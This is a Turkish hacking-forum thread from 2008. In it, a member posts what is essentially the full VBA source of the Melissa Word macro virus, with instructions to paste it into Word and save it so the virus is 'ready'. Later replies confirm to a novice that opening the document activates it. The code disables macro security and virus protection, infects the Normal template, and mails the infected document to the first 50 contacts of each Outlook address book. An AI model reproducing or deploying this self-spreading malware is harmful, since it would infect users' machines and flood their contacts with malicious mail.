İPUCU

Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

Seçenekler

dünyayı sallayan virüs kodları

23-07-2008 11:01
#1
ByNomeNt - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
04/2008
Nereden:
>>Bilinmemekte<<
Mesajlar:
3.258
Teşekkür (Etti):
0
Teşekkür (Aldı):
383
Konular:
2416
Ticaret:
(0) %
bu vırus bır exe calısması degıldır
makro vırusudır
bu kodları virsual basıc e yazma
word u acın alt+f11 tuslarına basın acılan
yerde
mıcrosoft word objects>this DOKUMENT
secın cıkan yere kodları yapıstırıp ctrl+s ıle kaydedın cıkın word belgesını de kaydedın
artık vırusunız hazır

bır donem dunyayı sallayan vırusun acık kaynak kodları buyrun





Private Sub ********_Open() ' Writted By eXit
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9 .0\W ord\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabl ed = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9 .0\W ord\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that ******** you asked for ... don't show anyone else "
BreakUmOffASlice.Attachments.Add Active********.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") = "... by Kwyjibo"
End If


Set ADI1 = Active********.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If

If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If

If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub ********_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub ********_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, Active********.Name, "********") = False) Then
Active********.SaveAs FileName:=Active********.FullName
ElseIf (InStr(1, Active********.Name, "********") <> False) Then
Active********.Saved = True
End If

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub
Kullanıcı İmzası
HayaTı HD kaLitesinde yaşıyoruM.. Yani 'H'aLimiz 'D'umaN
THT
------------------------------------------


TurkHackTeam.Org



23-07-2008 23:43
#2
cambit - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
07/2008
Mesajlar:
20
Teşekkür (Etti):
0
Teşekkür (Aldı):
0
Konular:
1
Ticaret:
(0) %
Peki bu kodlar calısır hale getirilebilir mi ?
23-07-2008 23:49
#3
aslansemir - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
02/2008
Nereden:
hatay
Mesajlar:
66
Teşekkür (Etti):
0
Teşekkür (Aldı):
1
Konular:
29
Ticaret:
(0) %
abi bu kodlar çalışmaz bidaha hackerlerde boşuna uğraiıyo kardeşim yani anlayacaksınız hepiniz yakında internet çökecek
23-07-2008 23:51
#4
aslansemir - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
02/2008
Nereden:
hatay
Mesajlar:
66
Teşekkür (Etti):
0
Teşekkür (Aldı):
1
Konular:
29
Ticaret:
(0) %
interne çökerse dünyada yeni bir çağ başalr kardeşlerim önlem lamak lazım para lazım yatırım kazım
25-07-2008 17:05
#5
ByNomeNt - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
04/2008
Nereden:
>>Bilinmemekte<<
Mesajlar:
3.258
Teşekkür (Etti):
0
Teşekkür (Aldı):
383
Konular:
2416
Ticaret:
(0) %
Alıntı:
cambit´isimli üyeden Alıntı Mesajı göster
Peki bu kodlar calısır hale getirilebilir mi ?
bu vırus bır exe calısması degıldır
makro vırusudır
bu kodları virsual basıc e yazma
word u acın alt+f11 tuslarına basın acılan
yerde
mıcrosoft word objects>this DOKUMENT
secın cıkan yere kodları yapıstırıp ctrl+s ıle kaydedın cıkın word belgesını de kaydedın
artık vırusunız hazır

bunu visual basicde yapıcan
Kullanıcı İmzası
HayaTı HD kaLitesinde yaşıyoruM.. Yani 'H'aLimiz 'D'umaN
THT
------------------------------------------


TurkHackTeam.Org


Konu ByNomeNt tarafından (25-07-2008 23:50 Saat 23:50 ) değiştirilmiştir. Sebep: düzenlendi
25-07-2008 22:18
#6
cambit - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
07/2008
Mesajlar:
20
Teşekkür (Etti):
0
Teşekkür (Aldı):
0
Konular:
1
Ticaret:
(0) %
Sagol. O .exe diye kaydettigim dosyayı acarsam ne olur ?
25-07-2008 22:32
#7
Üyelik tarihi:
07/2008
Nereden:
bursa
Yaş:
37
Mesajlar:
6
Teşekkür (Etti):
1
Teşekkür (Aldı):
0
Konular:
0
Ticaret:
(0) %
yalan oluyon
Kullanıcı İmzası
kapat kapat gözlerini içindeki pislik gözlerinden akmaya başlamış

kapat'kı guzellıgın bozulmasın senı ole tanımaya devam edeyim
25-07-2008 23:53
#8
cambit - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
07/2008
Mesajlar:
20
Teşekkür (Etti):
0
Teşekkür (Aldı):
0
Konular:
1
Ticaret:
(0) %
Hımm anladım
26-07-2008 00:02
#9
cambit - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
07/2008
Mesajlar:
20
Teşekkür (Etti):
0
Teşekkür (Aldı):
0
Konular:
1
Ticaret:
(0) %
Alıntı:
ByNomeNt´isimli üyeden Alıntı Mesajı göster
bu vırus bır exe calısması degıldır
makro vırusudır
bu kodları virsual basıc e yazma
word u acın alt+f11 tuslarına basın acılan
yerde
mıcrosoft word objects>this DOKUMENT
secın cıkan yere kodları yapıstırıp ctrl+s ıle kaydedın cıkın word belgesını de kaydedın
artık vırusunız hazır

bunu visual basicde yapıcan
kodları kaydettim.Şimdi o dosyayı acarsam mı etkisini gösterir
26-07-2008 11:34
#10
ByNomeNt - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
04/2008
Nereden:
>>Bilinmemekte<<
Mesajlar:
3.258
Teşekkür (Etti):
0
Teşekkür (Aldı):
383
Konular:
2416
Ticaret:
(0) %
evet aynen
Kullanıcı İmzası
HayaTı HD kaLitesinde yaşıyoruM.. Yani 'H'aLimiz 'D'umaN
THT
------------------------------------------


TurkHackTeam.Org



Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı